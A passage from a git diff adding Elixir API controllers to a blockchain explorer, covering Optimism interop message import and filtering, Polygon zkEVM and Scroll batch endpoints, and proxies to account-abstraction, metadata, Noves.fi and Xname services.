{:empty_public_key, true} -> + interop_render_http_error(conn, 500, "Unable to get public key") + + {:wrong_signature, true} -> + interop_render_http_error(conn, :unauthorized, "Wrong signature") + + _ -> + interop_render_http_error(conn, 500, "Cannot import the data") + end + end + + # Prepares interop message's data to be imported to database. Converts POST request parameters to the map acceptable by `Chain.import`. + # + # ## Parameters + # - `params`: JSON parameters got from the corresponding POST request sent by the remote instance. + # + # ## Returns + # - Resulting map with the `op_interop_messages` table's fields. + @spec interop_prepare_import(map()) :: map() + defp interop_prepare_import(%{"init_transaction_hash" => init_transaction_hash} = params) do + payload = hash_to_binary(params["payload"]) + + [transfer_token_address_hash, transfer_from_address_hash, transfer_to_address_hash, transfer_amount] = + InteropMessage.decode_payload(payload) + + %{ + sender_address_hash: params["sender_address_hash"], + target_address_hash: params["target_address_hash"], + nonce: params["nonce"], + init_chain_id: params["init_chain_id"], + init_transaction_hash: init_transaction_hash, + timestamp: DateTime.from_unix!(params["timestamp"]), + relay_chain_id: params["relay_chain_id"], + payload: payload, + transfer_token_address_hash: transfer_token_address_hash, + transfer_from_address_hash: transfer_from_address_hash, + transfer_to_address_hash: transfer_to_address_hash, + transfer_amount: transfer_amount + } + end + + defp interop_prepare_import(%{"relay_transaction_hash" => relay_transaction_hash} = params) do + %{ + nonce: params["nonce"], + init_chain_id: params["init_chain_id"], + relay_chain_id: params["relay_chain_id"], + relay_transaction_hash: relay_transaction_hash, + failed: params["failed"] + } + end + + # Gets filter parameters for message list and prepares them for `Explorer.Chain.Optimism.InteropMessage.list/1` function. + # + # ## Parameters + # - `params`: A map with filter parameters defined in HTTP request. + # + # ## Returns + # - A list with prepared filter parameters. + @spec interop_extract_message_filters(map()) :: list() + defp interop_extract_message_filters(params) do + [ + nonce: interop_prepare_nonce_filter(params["interop_message_nonce"]), + age: interop_prepare_age_filter(params["interop_message_age_from"], params["interop_message_age_to"]), + statuses: interop_prepare_statuses_filter(params["interop_message_statuses"]), + init_transaction_hash: interop_prepare_transaction_hash_filter(params["interop_message_init_transaction_hash"]), + relay_transaction_hash: interop_prepare_transaction_hash_filter(params["interop_message_relay_transaction_hash"]), + senders: + interop_prepare_include_exclude_address_hashes_filter( + params["interop_message_sender_address_hashes_to_include"], + params["interop_message_sender_address_hashes_to_exclude"] + ), + targets: + interop_prepare_include_exclude_address_hashes_filter( + params["interop_message_target_address_hashes_to_include"], + params["interop_message_target_address_hashes_to_exclude"] + ), + direction: interop_prepare_direction_filter(params["interop_message_direction"]) + ] + end + + # Handles the `interop_message_nonce` parameter from HTTP request for the interop message list. + # Converts the string with nonce to the integer. + # + # ## Parameters + # - `nonce`: The nonce string. + # + # ## Returns + # - The nonce integer in case the nonce string is correct. + # - `nil` in case of invalid string. + @spec interop_prepare_nonce_filter(String.t()) :: non_neg_integer() | nil + defp interop_prepare_nonce_filter(nonce) when is_binary(nonce) do + nonce + |> String.trim() + |> Integer.parse() + |> case do + {int_nonce, ""} -> int_nonce + _ -> nil + end + end + + defp interop_prepare_nonce_filter(_), do: nil + + # Handles `interop_message_age_from` and `interop_message_age_to` parameters from HTTP request for the interop message list. + # Converts the ISO 8601 strings to the corresponding `DateTime` typed values. + # + # ## Parameters + # - `from`: The string with start datetime of the range. + # - `to`: The string with end datetime of the range. + # + # ## Returns + # - A list `[from: DateTime.t() | nil, to: DateTime.t() | nil]` with the converted values. + # The `from` or `to` component can be `nil` if the corresponding input has invalid datetime format. + @spec interop_prepare_age_filter(String.t(), String.t()) :: list() + defp interop_prepare_age_filter(from, to), do: [from: parse_date(from), to: parse_date(to)] + + # Converts ISO 8601 string to the corresponding `DateTime` typed value. + # + # ## Parameters + # - `string_date`: The string with datetime in ISO 8601. + # + # ## Returns + # - The converted datetime value. + # - `nil` in case of invalid input. + @spec parse_date(String.t()) :: DateTime.t() | nil + defp parse_date(string_date) do + case string_date && DateTime.from_iso8601(string_date) do + {:ok, date, _utc_offset} -> date + _ -> nil + end + end + + @allowed_interop_message_statuses ~w(SENT RELAYED FAILED) + + # Handles the `interop_message_statuses` parameter from HTTP request for the interop message list. + # Converts the string with statuses to the statuses list. + # + # ## Parameters + # - `statuses`: The string with comma-separated statuses, e.g.: `Sent,Relayed,Failed`. + # + # ## Returns + # - The corresponding list with uppercased items, e.g.: ["SENT","RELAYED","FAILED"] + # - An empty list if the input string is invalid. + @spec interop_prepare_statuses_filter(String.t()) :: list() + defp interop_prepare_statuses_filter(statuses) when is_binary(statuses) do + statuses + |> String.upcase() + |> String.split(",") + |> Enum.map(&String.trim(&1)) + |> Enum.filter(&(&1 in @allowed_interop_message_statuses)) + end + + defp interop_prepare_statuses_filter(_), do: [] + + # Handles the `interop_message_init_transaction_hash` and `interop_message_relay_transaction_hash` parameters + # from HTTP request for the interop message list. Converts the string with transaction hash to `Explorer.Chain.Hash.t()`. + # + # ## Parameters + # - `transaction_hash`: The transaction hash string containing 64 symbols after `0x` prefix. + # + # ## Returns + # - The transaction hash in case the input string is correct. + # - `nil` in case of invalid string. + @spec interop_prepare_transaction_hash_filter(String.t()) :: Hash.t() | nil + defp interop_prepare_transaction_hash_filter(transaction_hash) when is_binary(transaction_hash) do + transaction_hash + |> String.trim() + |> Chain.string_to_full_hash() + |> case do + {:ok, hash} -> hash + _ -> nil + end + end + + defp interop_prepare_transaction_hash_filter(_), do: nil + + # Handles `interop_message_sender_address_hashes_to_include`, `interop_message_sender_address_hashes_to_exclude`, + # `interop_message_target_address_hashes_to_include`, and `interop_message_target_address_hashes_to_exclude` parameters + # from HTTP request for the interop message list. Converts the strings containing comma-separated addresses + # to the input lists of `Hash.Address.t()` for `Explorer.Chain.Optimism.InteropMessage.list/1` function. + # Each address must have 40 hexadecimal digits after the `0x` base prefix. + # + # ## Parameters + # - `include`: accepts `interop_message_sender_address_hashes_to_include` or `interop_message_target_address_hashes_to_include` parameter value. + # - `exclude`: accepts `interop_message_sender_address_hashes_to_exclude` or `interop_message_target_address_hashes_to_exclude` parameter value. + # + # ## Returns + # - A list `[include: [Hash.Address.t()], exclude: [Hash.Address.t()]]` with the converted addresses. + @spec interop_prepare_include_exclude_address_hashes_filter(String.t(), String.t()) :: [ + include: [Hash.Address.t()], + exclude: [Hash.Address.t()] + ] + defp interop_prepare_include_exclude_address_hashes_filter(include, exclude) do + [ + include: interop_prepare_address_hashes_filter(include), + exclude: interop_prepare_address_hashes_filter(exclude) + ] + end + + # Converts the string containing comma-separated addresses to the list of `Hash.Address.t()`. + # Each address must have 40 hexadecimal digits after the `0x` base prefix. + # + # ## Parameters + # - `address_hashes`: The string with comma-separated addresses. + # + # ## Returns + # - The corresponding list `[Hash.Address.t()]`. The list is empty if the input string is empty or all addresses + # are incorrect. Incorrect addresses are not included into the list. + @spec interop_prepare_address_hashes_filter(String.t()) :: [Hash.Address.t()] + defp interop_prepare_address_hashes_filter(address_hashes) when is_binary(address_hashes) do + address_hashes + |> String.split(",") + |> Enum.map(&interop_prepare_address_hash_filter(&1)) + |> Enum.reject(&is_nil(&1)) + end + + defp interop_prepare_address_hashes_filter(_), do: nil + + # Converts an address hash string with `0x` prefix to `Hash.Address.t()`. + # The address must have 40 hexadecimal digits after the `0x` base prefix. + # + # ## Parameters + # - `address_hash`: The input string with address. + # + # ## Returns + # - `Hash.Address.t()` in case of correct address. + # - `nil` if the address is invalid. + @spec interop_prepare_address_hash_filter(String.t()) :: Hash.Address.t() | nil + defp interop_prepare_address_hash_filter(address_hash) do + address_hash + |> String.trim() + |> Chain.string_to_address_hash_or_nil() + end + + # Handles the `interop_message_direction` parameter from HTTP request for the interop message list. + # Converts the string with the direction to the corresponding atom. + # + # ## Parameters + # - `direction`: The direction string. Can be one of: "in", "out". + # + # ## Returns + # - `:in` for the incoming direction. + # - `:out` for the outgoing direction. + # - `nil` for all directions. + @spec interop_prepare_direction_filter(String.t() | nil) :: :in | :out | nil + defp interop_prepare_direction_filter(direction) do + case direction && String.downcase(direction) do + "in" -> :in + "out" -> :out + _ -> nil + end + end + + # Renders HTTP error code and message. + # + # ## Parameters + # - `conn`: The connection struct. + # - `error_code`: The error code (e.g. 500 or :unauthorized). + # - `error_message`: The error description. + # + # ## Returns + # - The connection struct with the rendered response. + @spec interop_render_http_error(Plug.Conn.t(), atom() | non_neg_integer(), String.t()) :: Plug.Conn.t() + defp interop_render_http_error(conn, error_code, error_message) do + Logger.error("Interop: #{error_message}") + + conn + |> put_view(ApiView) + |> put_status(error_code) + |> render(:message, %{message: error_message}) + end + + # Fetches interop public key from the given instance using `/api/v2/optimism/interop/public-key` HTTP request to that instance. + # The successful response is cached in memory until the current instance is down. + # + # Firstly, it tries to read the public key from cache. If that's not found in cache, the HTTP request is performed. + # + # ## Parameters + # - `instance_api_url`: The instance API URL previously got by the `InteropMessage.interop_chain_id_to_instance_api_url` function. + # Can be `nil` in case of failure. + # + # ## Returns + # - Public key as binary byte sequence in case of success. + # - `nil` in case of fail. + @spec interop_fetch_public_key(String.t() | nil) :: binary() | nil + defp interop_fetch_public_key(nil), do: nil + + defp interop_fetch_public_key(instance_api_url) do + public_key = ConCache.get(InteropMessage.interop_instance_api_url_to_public_key_cache(), instance_api_url) + + if is_nil(public_key) do + env = Application.get_all_env(:indexer)[InteropMessageQueue] + url = instance_api_url <> "/api/v2/optimism/interop/public-key" + + timeout = :timer.seconds(env[:connect_timeout]) + recv_timeout = :timer.seconds(env[:recv_timeout]) + client = Tesla.client([{Tesla.Middleware.Timeout, timeout: recv_timeout}], Tesla.Adapter.Mint) + + with {:ok, %{body: response_body, status: 200}} <- + Tesla.get(client, url, opts: [adapter: [timeout: recv_timeout, transport_opts: [timeout: timeout]]]), + {:ok, %{"public_key" => "0x" <> key}} <- Jason.decode(response_body), + {:ok, key_binary} <- Base.decode16(key, case: :mixed), + true <- byte_size(key_binary) > 0 do + ConCache.put(InteropMessage.interop_instance_api_url_to_public_key_cache(), instance_api_url, key_binary) + key_binary + else + reason -> + Logger.error("Interop: unable to get public key from #{url}. Reason: #{inspect(reason)}") + nil + end + else + public_key + end + end + + defp items_count(conn, module) do + count = Chain.get_table_rows_total_count(module, api?: true) + + conn + |> put_status(200) + |> render(:optimism_items_count, %{count: count}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/polygon_zkevm_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/polygon_zkevm_controller.ex new file mode 100644 index 000000000000..e01b9a7caf9c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/polygon_zkevm_controller.ex @@ -0,0 +1,180 @@ +defmodule BlockScoutWeb.API.V2.PolygonZkevmController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + paging_options: 1, + split_list_by_page: 1 + ] + + alias Explorer.Chain.PolygonZkevm.Reader + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @batch_necessity_by_association %{ + :sequence_transaction => :optional, + :verify_transaction => :optional, + :l2_transactions => :optional + } + + @batches_necessity_by_association %{ + :sequence_transaction => :optional, + :verify_transaction => :optional + } + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/batches/:batch_number` endpoint. + """ + @spec batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch(conn, %{"batch_number" => batch_number} = _params) do + case Reader.batch( + batch_number, + necessity_by_association: @batch_necessity_by_association, + api?: true + ) do + {:ok, batch} -> + conn + |> put_status(200) + |> render(:zkevm_batch, %{batch: batch}) + + {:error, :not_found} = res -> + res + end + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/zkevm/batches/latest-number` endpoint. + """ + @spec batch_latest_number(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_latest_number(conn, _params) do + conn + |> put_status(200) + |> render(:zkevm_batch_latest_number, %{number: batch_latest_number()}) + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/batches` endpoint. + """ + @spec batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> Keyword.put(:necessity_by_association, @batches_necessity_by_association) + |> Keyword.put(:api?, true) + |> Reader.batches() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, batches, params) + + conn + |> put_status(200) + |> render(:zkevm_batches, %{ + batches: batches, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/batches/count` endpoint. + """ + @spec batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_count(conn, _params) do + conn + |> put_status(200) + |> render(:zkevm_batches_count, %{count: batch_latest_number()}) + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/zkevm/batches/confirmed` endpoint. + """ + @spec batches_confirmed(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_confirmed(conn, _params) do + batches = + [] + |> Keyword.put(:necessity_by_association, @batches_necessity_by_association) + |> Keyword.put(:api?, true) + |> Keyword.put(:confirmed?, true) + |> Reader.batches() + + conn + |> put_status(200) + |> render(:zkevm_batches, %{batches: batches}) + end + + defp batch_latest_number do + case Reader.batch(:latest, api?: true) do + {:ok, batch} -> batch.number + {:error, :not_found} -> 0 + end + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/deposits` endpoint. + """ + @spec deposits(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits(conn, params) do + {deposits, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Reader.deposits() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, deposits, params) + + conn + |> put_status(200) + |> render(:polygon_zkevm_bridge_items, %{ + items: deposits, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/deposits/count` endpoint. + """ + @spec deposits_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits_count(conn, _params) do + count = Reader.deposits_count(api?: true) + + conn + |> put_status(200) + |> render(:polygon_zkevm_bridge_items_count, %{count: count}) + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/withdrawals` endpoint. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals(conn, params) do + {withdrawals, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Reader.withdrawals() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, withdrawals, params) + + conn + |> put_status(200) + |> render(:polygon_zkevm_bridge_items, %{ + items: withdrawals, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/zkevm/withdrawals/count` endpoint. + """ + @spec withdrawals_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals_count(conn, _params) do + count = Reader.withdrawals_count(api?: true) + + conn + |> put_status(200) + |> render(:polygon_zkevm_bridge_items_count, %{count: count}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller.ex new file mode 100644 index 000000000000..072baefea963 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller.ex @@ -0,0 +1,256 @@ +defmodule BlockScoutWeb.API.V2.Proxy.AccountAbstractionController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.API.V2.Helper + alias BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, as: TransactionInterpretationService + alias Explorer.Chain + alias Explorer.MicroserviceInterfaces.AccountAbstraction + + @address_fields ["bundler", "entry_point", "sender", "address", "factory", "paymaster", "execute_target"] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/operations/:user_operation_hash_param` endpoint. + """ + @spec operation(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def operation(conn, %{"operation_hash_param" => operation_hash_string}) do + operation_hash_string + |> AccountAbstraction.get_user_ops_by_hash() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/operations/:user_operation_hash_param/summary` endpoint. + """ + @spec summary(Plug.Conn.t(), map()) :: + {:error | :format | :transaction_interpreter_enabled | non_neg_integer(), any()} | Plug.Conn.t() + def summary(conn, %{"operation_hash_param" => operation_hash_string, "just_request_body" => "true"}) do + with {:format, {:ok, _operation_hash}} <- {:format, Chain.string_to_full_hash(operation_hash_string)}, + {:transaction_interpreter_enabled, true} <- + {:transaction_interpreter_enabled, TransactionInterpretationService.enabled?()}, + {200, %{"hash" => _} = user_op} <- AccountAbstraction.get_user_ops_by_hash(operation_hash_string) do + conn + |> json(TransactionInterpretationService.get_user_op_request_body(user_op)) + end + end + + def summary(conn, %{"operation_hash_param" => operation_hash_string}) do + with {:format, {:ok, _operation_hash}} <- {:format, Chain.string_to_full_hash(operation_hash_string)}, + {:transaction_interpreter_enabled, true} <- + {:transaction_interpreter_enabled, TransactionInterpretationService.enabled?()}, + {200, %{"hash" => _} = user_op} <- AccountAbstraction.get_user_ops_by_hash(operation_hash_string) do + {response, code} = + case TransactionInterpretationService.interpret_user_operation(user_op) do + {:ok, response} -> {response, 200} + {:error, %Jason.DecodeError{}} -> {%{error: "Error while transaction interpreter response decoding"}, 500} + {{:error, error}, code} -> {%{error: error}, code} + end + + conn + |> put_status(code) + |> json(response) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/bundlers/:address_hash_param` endpoint. + """ + @spec bundler(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def bundler(conn, %{"address_hash_param" => address_hash_string}) do + address_hash_string + |> AccountAbstraction.get_bundler_by_hash() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/bundlers` endpoint. + """ + @spec bundlers(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def bundlers(conn, query_string) do + query_string + |> AccountAbstraction.get_bundlers() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/factories/:address_hash_param` endpoint. + """ + @spec factory(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def factory(conn, %{"address_hash_param" => address_hash_string}) do + address_hash_string + |> AccountAbstraction.get_factory_by_hash() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/factories` endpoint. + """ + @spec factories(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def factories(conn, query_string) do + query_string + |> AccountAbstraction.get_factories() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/paymasters/:address_hash_param` endpoint. + """ + @spec paymaster(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def paymaster(conn, %{"address_hash_param" => address_hash_string}) do + address_hash_string + |> AccountAbstraction.get_paymaster_by_hash() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/paymasters` endpoint. + """ + @spec paymasters(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def paymasters(conn, query_string) do + query_string + |> AccountAbstraction.get_paymasters() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/accounts/:address_hash_param` endpoint. + """ + @spec account(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def account(conn, %{"address_hash_param" => address_hash_string}) do + address_hash_string + |> AccountAbstraction.get_account_by_hash() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/accounts` endpoint. + """ + @spec accounts(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def accounts(conn, query_string) do + query_string + |> AccountAbstraction.get_accounts() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/bundles` endpoint. + """ + @spec bundles(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def bundles(conn, query_string) do + query_string + |> AccountAbstraction.get_bundles() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/operations` endpoint. + """ + @spec operations(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def operations(conn, query_string) do + query_string + |> AccountAbstraction.get_operations() + |> process_response(conn) + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/account-abstraction/status` endpoint. + """ + @spec status(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def status(conn, params) do + params + |> AccountAbstraction.get_status() + |> process_response(conn) + end + + defp extended_info(response) do + address_hashes = + response + |> collect_address_hashes() + |> Chain.hashes_to_addresses( + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ) + |> Enum.into(%{}, &{&1.hash, Helper.address_with_info(&1, nil)}) + + response |> replace_address_hashes(address_hashes) + end + + defp collect_address_hashes(response) do + address_hash_strings = + case response do + %{"items" => items} -> + @address_fields |> Enum.flat_map(fn field -> Enum.map(items, & &1[field]) end) + + item -> + @address_fields |> Enum.map(&item[&1]) + end + + address_hash_strings + |> Enum.reject(&is_nil/1) + |> Enum.uniq() + |> Enum.map(&Chain.string_to_address_hash_or_nil/1) + |> Enum.reject(&is_nil/1) + end + + defp replace_address_hashes(response, addresses) do + case response do + %{"items" => items} -> + extended_items = items |> Enum.map(&add_address_extended_info(&1, addresses)) + + response |> Map.put("items", extended_items) + + item -> + add_address_extended_info(item, addresses) + end + end + + defp add_address_extended_info(response, addresses) do + @address_fields + |> Enum.reduce(response, fn address_output_field, output_response -> + with true <- Map.has_key?(output_response, address_output_field), + {:ok, address_hash} <- output_response |> Map.get(address_output_field) |> Chain.string_to_address_hash(), + true <- Map.has_key?(addresses, address_hash) do + output_response |> Map.replace(address_output_field, Map.get(addresses, address_hash)) + else + _ -> output_response + end + end) + end + + defp process_response(response, conn) do + case response do + {:error, :disabled} -> + conn + |> put_status(501) + |> json(%{message: "Service is disabled"}) + + {status_code, response} -> + final_json = response |> try_to_decode_call_data() |> extended_info() + + conn + |> put_status(status_code) + |> json(final_json) + end + end + + defp try_to_decode_call_data(%{"call_data" => _call_data} = user_op) do + user_op_hash = user_op["hash"] + + {_mock_transaction, _decoded_call_data, decoded_call_data_json} = + TransactionInterpretationService.decode_user_op_calldata(user_op_hash, user_op["call_data"]) + + {_mock_transaction, _decoded_execute_call_data, decoded_execute_call_data_json} = + TransactionInterpretationService.decode_user_op_calldata(user_op_hash, user_op["execute_call_data"]) + + user_op + |> Map.put("decoded_call_data", decoded_call_data_json) + |> Map.put("decoded_execute_call_data", decoded_execute_call_data_json) + end + + defp try_to_decode_call_data(response), do: response +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/metadata_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/metadata_controller.ex new file mode 100644 index 000000000000..b8b68939110c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/metadata_controller.ex @@ -0,0 +1,30 @@ +defmodule BlockScoutWeb.API.V2.Proxy.MetadataController do + @moduledoc """ + Controller for the metadata service + """ + use BlockScoutWeb, :controller + + alias Explorer.MicroserviceInterfaces.Metadata + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/proxy/metadata/addresses` endpoint. + Proxies request to the metadata service. Preloads additional info to the addresses in response. + If some addresses are not found, they'll be discarded. + """ + def addresses(conn, params) do + with {code, body} <- Metadata.get_addresses(params) do + case code do + 200 -> + conn + |> render(:addresses, %{result: body}) + + status_code -> + conn + |> put_status(status_code) + |> json(body) + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/noves_fi_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/noves_fi_controller.ex new file mode 100644 index 000000000000..11a309af7429 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/noves_fi_controller.ex @@ -0,0 +1,58 @@ +defmodule BlockScoutWeb.API.V2.Proxy.NovesFiController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.API.RPC.ContractController + alias BlockScoutWeb.API.V2.TransactionController + alias Explorer.ThirdPartyIntegrations.NovesFi + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/proxy/noves-fi/transactions/:transaction_hash_param` endpoint. + """ + @spec transaction(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def transaction(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, _transaction_hash} <- + TransactionController.validate_transaction(transaction_hash_string, params, + necessity_by_association: %{}, + api?: true + ), + url = NovesFi.transaction_url(transaction_hash_string), + {response, status} <- NovesFi.api_request(url, conn), + {:is_empty_response, false} <- {:is_empty_response, is_nil(response)} do + conn + |> put_status(status) + |> json(response) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/noves-fi/addresses/:address_hash_param/transactions` endpoint. + """ + @spec address_transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def address_transactions(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:ok, _address_hash, _address} <- ContractController.validate_address(address_hash_string, params), + url = NovesFi.address_transactions_url(address_hash_string), + {response, status} <- NovesFi.api_request(url, conn), + {:is_empty_response, false} <- {:is_empty_response, is_nil(response)} do + conn + |> put_status(status) + |> json(response) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/proxy/noves-fi/transaction-descriptions` endpoint. + """ + @spec describe_transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def describe_transactions(conn, _) do + url = NovesFi.describe_transactions_url() + + with {response, status} <- NovesFi.api_request(url, conn, :post_transactions), + {:is_empty_response, false} <- {:is_empty_response, is_nil(response)} do + conn + |> put_status(status) + |> json(response) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/universal_proxy_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/universal_proxy_controller.ex new file mode 100644 index 000000000000..7f239684bb06 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/universal_proxy_controller.ex @@ -0,0 +1,13 @@ +defmodule BlockScoutWeb.API.V2.Proxy.UniversalProxyController do + use BlockScoutWeb, :controller + + alias Explorer.ThirdPartyIntegrations.UniversalProxy + + def index(conn, %{"platform_id" => _platform_id} = params) do + {response, status} = UniversalProxy.api_request(params) + + conn + |> put_status(status) + |> json(response) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/xname_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/xname_controller.ex new file mode 100644 index 000000000000..aae469fd60b5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/proxy/xname_controller.ex @@ -0,0 +1,24 @@ +defmodule BlockScoutWeb.API.V2.Proxy.XnameController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.API.RPC.ContractController + + alias Explorer.ThirdPartyIntegrations.Xname + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/proxy/xname/address/:address_hash_param` endpoint. + """ + @spec address(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def address(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:ok, _address_hash, _address} <- ContractController.validate_address(address_hash_string, params), + url = Xname.address_url(address_hash_string), + {response, status} <- Xname.api_request(url, conn), + {:is_empty_response, false} <- {:is_empty_response, is_nil(response)} do + conn + |> put_status(status) + |> json(response) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/scroll_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/scroll_controller.ex new file mode 100644 index 000000000000..e62b0ebd4dca --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/scroll_controller.ex @@ -0,0 +1,149 @@ +defmodule BlockScoutWeb.API.V2.ScrollController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + paging_options: 1, + split_list_by_page: 1 + ] + + alias Explorer.Chain.Scroll.Reader + + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @batch_necessity_by_association %{:bundle => :optional} + + @doc """ + Function to handle GET requests to `/api/v2/scroll/batches/:number` endpoint. + """ + @spec batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch(conn, %{"number" => number}) do + {number, ""} = Integer.parse(number) + + options = + [necessity_by_association: @batch_necessity_by_association] + |> Keyword.merge(@api_true) + + {_, batch} = Reader.batch(number, options) + + if batch == :not_found do + {:error, :not_found} + else + conn + |> put_status(200) + |> render(:scroll_batch, %{batch: batch}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/batches` endpoint. + """ + @spec batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> Keyword.merge(@api_true) + |> Reader.batches() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, batches, params) + + conn + |> put_status(200) + |> render(:scroll_batches, %{ + batches: batches, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/batches/count` endpoint. + """ + @spec batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_count(conn, _params) do + conn + |> put_status(200) + |> render(:scroll_batches_count, %{count: batch_latest_number() + 1}) + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/deposits` endpoint. + """ + @spec deposits(Plug.Conn.t(), map()) :: Plug.Conn.t() + def 